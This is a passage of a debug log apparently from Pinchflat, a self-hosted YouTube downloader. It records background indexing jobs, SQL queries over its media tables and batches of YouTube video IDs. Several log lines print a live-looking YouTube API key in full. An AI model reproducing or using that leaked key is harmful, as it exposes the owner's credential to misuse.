livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:17:09.517 [debug] QUERY OK source="tasks" db=0.1ms idle=11.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799944, 18, ~U[2026-02-10 22:17:09Z], ~U[2026-02-10 22:17:09Z]] 16:17:09.517 [info] {"args":{"id":18},"id":3799904,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149983,"event":"job:stop","queue_time":489235,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:09.584 [debug] QUERY OK source="media_items" db=0.5ms idle=66.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 16:17:09.585 [debug] QUERY OK source="media_items" db=0.4ms idle=67.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:17:09.585 [debug] QUERY OK source="tasks" db=0.0ms idle=62.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799945, 3, ~U[2026-02-10 22:17:09Z], ~U[2026-02-10 22:17:09Z]] 16:17:09.586 [info] {"args":{"id":3},"id":3799906,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":80411,"event":"job:stop","queue_time":391706,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:22.381 [info] {"args":{"id":36},"id":3799907,"meta":{},"system_time":1770761842380956700,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:22.381 [debug] QUERY OK source="sources" db=0.1ms idle=1502.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:17:22.381 [debug] QUERY OK source="settings" db=0.0ms idle=1503.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:22.381 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:22.381 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:22.381 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:17:22.382 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:22.382 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:22.459 [debug] QUERY OK source="media_items" db=0.8ms idle=77.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 16:17:22.461 [debug] QUERY OK source="media_items" db=0.7ms idle=78.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:17:22.461 [debug] QUERY OK source="tasks" db=0.1ms idle=79.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799946, 36, ~U[2026-02-10 22:17:22Z], ~U[2026-02-10 22:17:22Z]] 16:17:22.462 [info] {"args":{"id":36},"id":3799907,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":80942,"event":"job:stop","queue_time":471923,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:27.980 [info] {"source":"oban","duration":10529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:35.396 [info] {"args":{"id":23},"id":3799908,"meta":{},"system_time":1770761855396778655,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:35.397 [debug] QUERY OK source="sources" db=0.1ms idle=1518.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:17:35.397 [debug] QUERY OK source="settings" db=0.7ms idle=1518.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:35.398 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:35.398 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:35.398 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:17:35.398 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:35.398 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:35.511 [debug] QUERY OK source="media_items" db=0.7ms idle=113.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 16:17:35.512 [debug] QUERY OK source="media_items" db=0.3ms idle=113.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:17:35.513 [debug] QUERY OK source="tasks" db=0.1ms idle=114.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799947, 23, ~U[2026-02-10 22:17:35Z], ~U[2026-02-10 22:17:35Z]] 16:17:35.513 [info] {"args":{"id":23},"id":3799908,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":116438,"event":"job:stop","queue_time":495517,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:37.398 [info] {"args":{"id":34},"id":3799909,"meta":{},"system_time":1770761857398841490,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:37.399 [info] {"args":{"id":10},"id":3799910,"meta":{},"system_time":1770761857398893136,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:37.399 [debug] QUERY OK source="sources" db=0.1ms idle=520.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:17:37.399 [debug] QUERY OK source="sources" db=0.2ms idle=520.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:17:37.399 [debug] QUERY OK source="settings" db=0.1ms idle=520.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:37.399 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:37.399 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:37.399 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:37.400 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:37.400 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:17:37.400 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:37.400 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:17:37.400 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:37.400 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:37.400 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:37.400 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:37.569 [debug] QUERY OK source="media_items" db=0.6ms idle=168.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 16:17:37.572 [debug] QUERY OK source="media_items" db=2.1ms idle=169.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN 